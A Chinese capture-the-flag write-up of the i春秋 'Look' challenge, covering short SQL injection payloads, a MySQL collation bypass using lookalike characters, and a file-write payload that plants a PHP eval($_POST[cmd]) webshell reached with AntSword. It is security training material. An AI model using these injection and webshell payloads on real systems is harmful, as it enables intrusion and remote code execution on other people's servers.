i春秋-Look(sql字符集、超短sql注入、写入shell)

练习平台地址

竞赛中心

题目描述

题目内容

一片空白

F12检查

元素无信息

响应头中发现了提示

尝试对verify参数进行sql注入

get传值有回显应该是get注入

尝试注入

提示verify long应该是太长了

更改payload(超短sql语句)

''*1

''&1

''%1

''=0

访问5211ec9dde53ee65bb02225117fba1e1.php

F12检查

元素无信息

响应头中又发现了提示

访问.viminfo配置文件(目录扫描也可以扫描到,可跳过前面步骤)

访问备份文件

代码分析

1.起初以为是宽字节注入%df%27,但是其中第一个if判断远程IP只是一个幌子无法伪造

2.接着看程序逻辑 需要输入非 Bctf2O(大写O)16但进入数据库查询又当作是Bctf2O16的一个字符串,结合题目提示的mysql字符集
MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss

绕过方式

使用ç=c 或者ô=o

payload

?usern3me=Bçtf2O16

访问c3368f5eb5f8367fd548b228bee69ef2.php

代码分析

相关函数

file_put_contents:

将一个字符串写入文件中

php 复制代码
<?php
$file = 'example.txt';
$data = '这是一些文本';
file_put_contents($file, $data);
?>

file_get_contents:

将整个文件的内容读入一个字符串中

php 复制代码
<?php
echo file_get_contents("test.txt");
?>

功能分析

上个页面的usern3me的内容是我们可控的,我们可以直接写php代码,这样写的php代码就进入了我们给的文件,然后RCE就可以了

构造payload

?filename=1.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=\<?php%2520eval($_POST[cmd]);?>

蚁剑连接

flag

flag{8d15ba42-bfcd-4587-b111-52fbca0494f8}

注意事项

在mysql字符集中,ç和c,ô和o是相等的

相关推荐
MOON404☾5 小时前
006.Backdoor后门编写
网络·安全·网络安全·系统安全
信创天地8 小时前
深耕金融政务核心场景:国产化数据库迁移的全流程架构设计与风险管控
运维·网络安全·系统架构·系统安全·运维开发
蜂蜜黄油呀土豆11 小时前
计算机网络中的常见网络场景与问题排查
tcp/ip·计算机网络·网络安全·http请求与响应
德迅云安全-小潘12 小时前
H5安全风险与防护策略:构建可信的移动互联网服务
web安全
_OP_CHEN12 小时前
【算法基础篇】(四十五)裴蜀定理与扩展欧几里得算法:从不定方程到数论万能钥匙
算法·蓝桥杯·数论·算法竞赛·裴蜀定理·扩展欧几里得算法·acm/icpc
bleach-14 小时前
buuctf系列解题思路祥讲--[SUCTF 2019]CheckIn1--文件上传以及user.ini的应用
nginx·web安全·网络安全·php
视觉&物联智能14 小时前
【杂谈】-人工智能在风险管理中的应用:愿景与现实的差距
人工智能·网络安全·ai·aigc·agi
Bruce_Liuxiaowei14 小时前
内网探测常用技术方法整理
网络·安全·网络安全
2301_8008951014 小时前
hh的蓝桥杯每日一题--拔河
职场和发展·蓝桥杯
小李独爱秋15 小时前
计算机网络经典问题透视:MD5报文是什么?有什么特点?
网络·网络协议·计算机网络·网络安全·信息与通信·信号处理